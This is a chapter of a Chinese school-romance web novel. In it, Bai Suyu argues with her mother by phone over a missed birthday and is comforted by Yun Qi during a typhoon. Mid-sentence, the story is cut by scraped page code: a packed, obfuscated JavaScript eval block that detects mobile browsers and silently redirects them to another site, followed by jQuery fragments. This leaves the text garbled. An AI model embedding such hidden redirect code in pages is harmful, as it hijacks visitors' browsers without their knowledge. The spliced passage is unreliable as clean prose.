白酥雨从他身边迅速跑开,仓皇的样子落在云祁眼中,更像是印证了他的想法。
“陈沂川竟然和小雨妹妹认识,刚刚小雨妹妹那气场,得有两米八八了吧?陈沂川怂得跟孙子一样。”白徐行挖苦道,笑声爽朗。
云祁冷嗤了声,不想和这人多说:“你开心就好。”
毕竟你脑回路非同寻常。
午休结束,云祁困意不减,冷不丁听到白酥雨叫他,想到自己不久前的揣测,他有些愧疚地应了声,没看她的眼睛。这种无意得知别人秘密的感觉并不好。
以为她会说走廊上被撞见的事,没想到她只是问了自己为什么分享了《克林索尔的最后夏天》中那句话。
他无所谓的样子:“网上随便找的。”
骗人。
白酥雨不信。
下训后白酥雨借了金榆的手机,学校里网络并不好,她等待了很久,完整的句子才跳了出来。
看到最后一句时白酥雨的心跳和陷落的情绪交缠,久久难平复。
“我渴望成熟,准备好死去,准备好重生。”(2)
13. 共雨
【我以为自己的演技很好,可云祁一眼就看破了。——《一朵雨的碎碎念》】
死去与重生。
整整一天,即将十七岁的白酥雨都沉浸在这两个词的冲击中。
似被点亮一盏烛火,她看向身侧的位子,那个人不在。白酥雨转头望向窗外混沌一片的天地,心里那盏烛火噼里啪啦烧了起来。
昨晚接到通知,因台风“星落”改变行进轨迹,将于今日登陆淮川附近,影响范围覆盖淮川北部,从昨晚开始就有局部降雨,今日的雨更大些,横扫了整个校园。
接到通知后学校临时决定军训暂停两日,学生们在教室自修,等影响彻底过去再恢复训练。
高二(3)班没有闲下,积极准备“班班有歌声”比赛,他们班的曲目是《黄河大合唱》,由吴诚拍定并给出了他的期许——一等奖。
“他可真敢想,我们班唱成这样怎么冲一等奖?又给我们压力了。”金榆扭过身子倒着坐,半趴在白酥雨桌上,“有目标是好的,也不看看我们班什么实力,男生唱歌那么难听。”
她一说完,同桌秦海洋投来不赞同的目光。但碍于金榆常年的强权压制,终是敢怒不敢言。
但有人不是。
转眼,白酥雨身边的位置被人占去,白徐行不屑地瞥了眼金榆,伸手在课桌上拍了拍。
“合唱队的了不起哦,你唱得很好吗,还嫌弃人家呢。这首歌最重要的是什么!是气势!稍微不在调上又怎么了。”
金榆冷笑:“稍微吗?是很多吧。”
“行。那这位呢?”他扬起下巴,指了指自己坐的位置,“我方派出这位,你当如何应对?”
“你俩就是消消乐,你一开口等于他没开口。”
这比喻神了。
白酥雨握紧歌词纸,忍不住偷笑。
金榆:“况且,他都不在。”
提到这个,白徐行感慨了声:“习惯就好,大忙人是这样的,校里校外的事很多。”
像是想到了什么,金榆摆了摆手,从桌上支起身:“也对,他第一学期都不来学校的……去年貌似也是这时候就回家了,再见面已是下学期。”
白酥雨闻声抬头,脸颊上的晒伤印子又开始犯疼了,她没忍住问:“为什么第一个学期没来学校?是碰到事情了吗?”
气氛变得奇怪。
白徐行讳莫如深的视线在她脸上一顿,转瞬移开,扣在桌上的手因为用力而透出白色。他含糊其辞:“啊?可能……是吧。”
什么事情需要他在家半年?
脑海里不合时宜地跳出了那句话。
——我渴望成熟,准备好死去,准备好重生。(1)
太阳穴突突跳个不停,她想不到。
窗外的雨呈倾泼之势,风带着湿意灌入尚留一隙的窗。
傍晚,雨势渐微,学生们的热情没受影响,各色各式的伞相挤着往食堂去,接着在广场后分流,有一支往宿舍楼而去。
也许是天气的原因,白酥雨胸闷气短,浑身都不太爽利。她将走廊上的衣服收进来挂在床头,凑近了能闻到一股潮湿的霉味,于是她挪到了床尾。
金榆抱着大包原味薯片,看着窗外灰蒙的天,她打了个哈欠:“好想就这么睡下啊,这种天气不睡觉简直是暴殄天物啊,可惜还有该死的晚自修。”
“对了小雨,你是12号生日吧,军训最后一天…这是个好日子。那时候临近中秋,正好有假期……”
白酥雨正晕乎乎地听着,宿舍座机突兀地响起。寝室就她们两个,再平常不过的铃声今日听上去却令人惴惴不安。
金榆嗦了嗦手指跑去接电话,有礼貌应和了两声,转身喊白酥雨:“雨,接电话。”
白酥雨懵懵抬头:“谁?”
“是你妈妈。”
门外的走廊里传来“哐当”一声,重物摔倒的声音在空荡的长廊里回响。
胸口的烦闷在增加。
“雨雨,是妈妈。”
她舔了舔干燥的唇:“妈妈,我……”
那句“我想你了”还没出口,电话里略带歉疚的话传到了她的耳边。
“雨雨,我和你爸爸说过了,这次生日他会好好给你过的。”
先前积攒了一个多月的期许像是一个还未打结的气球,稍没拿稳就飞了出去,不知掉落在哪个冰冷的角落。
她缓缓呼出气:“我没懂……”
“这件事是妈妈做得不好,等下次我有空了再来看你好不好?”陈舒芳耐着性子哄她,声音越来越轻。可笑的是,连陈舒芳自己都不知道这张空头支票的兑现时间。
如果像往常那样,白酥雨应该听懂言下之意,她应该体谅别人,她应该装作不在意的样子说些“没关系”“那下次再见吧”之类的话。
可是,她再也不想装作听话懂事的模样,不想演体谅所有人但委屈自己的戏码了。
“下次?下次是什么时候?一个月后?一年后还是十年后啊?”她的声音尖锐起来,往常温温柔柔的语调不见了,在这片空间里变得怪异刻薄。
对了,刻薄。就要刻薄,就要坏!
陈舒芳不出意外地啜泣起来:“雨雨你怎么会变成这个样子,就不能体谅妈妈吗?我过得容易吗?我难道不想和自己的女儿一起过生日吗?你宁叔叔非要叫我那天和他一起参加朋友女儿的生日宴,说都是有头有脸的人,都有太太陪着。我能不去吗?雨雨你站在妈妈的角度想一想,我不陪着去难道要他找别的女人去?妈妈也是没有办法啊。”
白酥雨像是听到了什么好笑的事,她质问:“去给朋友的女儿过生日……在你的眼里,我还不如别人的女儿重要。可不可笑?”
说着也哽咽起来:“你不知道宁叔叔他不喜欢我吗,以前也是找各种借口让你管不到我,谁知道这次的生日宴是不是借口?”
寝室里,金榆抱着薯片袋一动不敢动,手里半片薯片吃也不是扔也不是,她小心翼翼降低自己的存在感。
“那我有什么办法!你告诉妈妈,应该怎么办?”电话里陷入了长久的沉默,时不时有难以抑制的哭声传出。
这是无解的命题,无分对错。
那哭声像一根根针戳到白酥雨的心上,报复式的质问并没有让她得到宣泄,难过反而更甚。白酥雨觉得自己是个十恶不赦的罪人。
陈舒芳在一个新的家庭里过得也不易,生活上的种种对女性的压迫还少吗?
她闭了闭眼:“妈妈对不起,我太冲动了。你别哭了,其实……我也没那么想过生日,爸爸陪我也一样的,你别担心。那就下次再见好了。”
通话结束后,白酥雨像是失去了所有力气瘫坐在床边。
“小
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|12976848|136707||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
雨,你还好吗?”金榆已经从对话里推测出大概了,她有些不知如何处理这种场面。
白酥雨看了眼时间:“晚自修快开始了,你先回吧,我想自己待一会儿。”
金榆担忧地看了她一眼:“那你早点来,等会儿雨下大了会淋湿的。”
宿舍门合上了,只余她一人在这个潮湿幽冷的空间。胸前的窒闷连带着胃里也翻滚起来,积攒了一天的不舒服终于爆发出来。
她跑到厕所呕吐,胃里酸水返上来的感觉并不好受,过了好久才缓过来。
水声哗哗流着,等闻不到那刺鼻的味道后她才从厕所离开。
大雨势不可挡,重重撞击玻璃又急速滑落。看着外面的天,白酥雨干涩的喉咙一酸,眼眶瞬间赤红。
良久,平复好情绪她跑下楼去。
锐利的风扑面而来,树在疯狂摇动,枝叶抖擞相撞,叶子纷飞跌入水中。
学校的排水系统实在不算好,地面的积水已经能将人的鞋子浸湿。
白酥雨站在风口拎着一把伞,眼睛被风吹得更疼了,她没有了迈出步子的勇气。
就这样吧……
模糊的视线里,黑色的身影从远处跑来。
白酥雨愣了下,终于看清对方的脸,他戴着一顶黑色的鸭舌帽,雨水几乎将帽子浸湿,顺流而下打湿他的眉眼。
她不再等待,逆着风用力将伞骨推到顶,隔着灰色的雨幕喊他。
那人停下,回头看她。
白酥雨费劲跑到他身边,垫脚抬高伞面。
怎么办,伞快撑不住了……
在风快将伞吹走前,云祁低头躲进来,接过伞柄的同时另一手绕过她的背拽住伞面。
“跑。”他说。
狭窄的空间里,他身上的湿意和温度传了过来,跑动间后背偶尔会碰到他,碰到的皮肤像是触电般,随即以不可逆转之势烧起来。
就近跑到小卖部的屋檐下,白酥雨还好一些,云祁和全湿了没什么区别。她站在台阶上远眺,回教室的路望不到尽头,眼中万物都在摇动。
云祁随地而坐,他的帽檐淌水,滴落在衣裤上。他像是感觉不到般兀自低着头,不知是不是灯光的原因,冷白的脸上透露出一丝颓靡。
周围全是风雨声,两人没再说上一句话。她突然有点不知所措,企图随便说些什么:“我们迟到了……”
“嗯。”
白酥雨这才发现他的声音带着哑。
云祁抬手捂在嘴边,轻咳几声。缓过这阵,他偏过头:“这不打紧,重要的是,你哭了。”
白酥雨瞳孔一颤,心脏跳得飞快,她局促不安地解释:“雨太大了……你看错了,是…是雨水掉进眼睛里了。”
原先垂眸低敛的少年抬起头,瘦削好看的下巴跟着上扬,他的眼睛漆黑深邃却仿佛能一眼看到她心底。
“可是,你在哭。”他顿了下,“你不开心。”
你在哭,你不开心。
这是他第二次强调了。
白酥雨听不到漫天的风雨声,耳畔只有他的话在回荡。
霎时间所有的难过和委屈涌到鼻腔,酸得她眼睛湿润,紧绷的唇角忍不住微微朝下。
一滴滚烫的泪落在她的虎口。
原来被懂得的瞬间,人会心甘情愿变成一颗番茄,剥皮,滚煮,然后稀碎。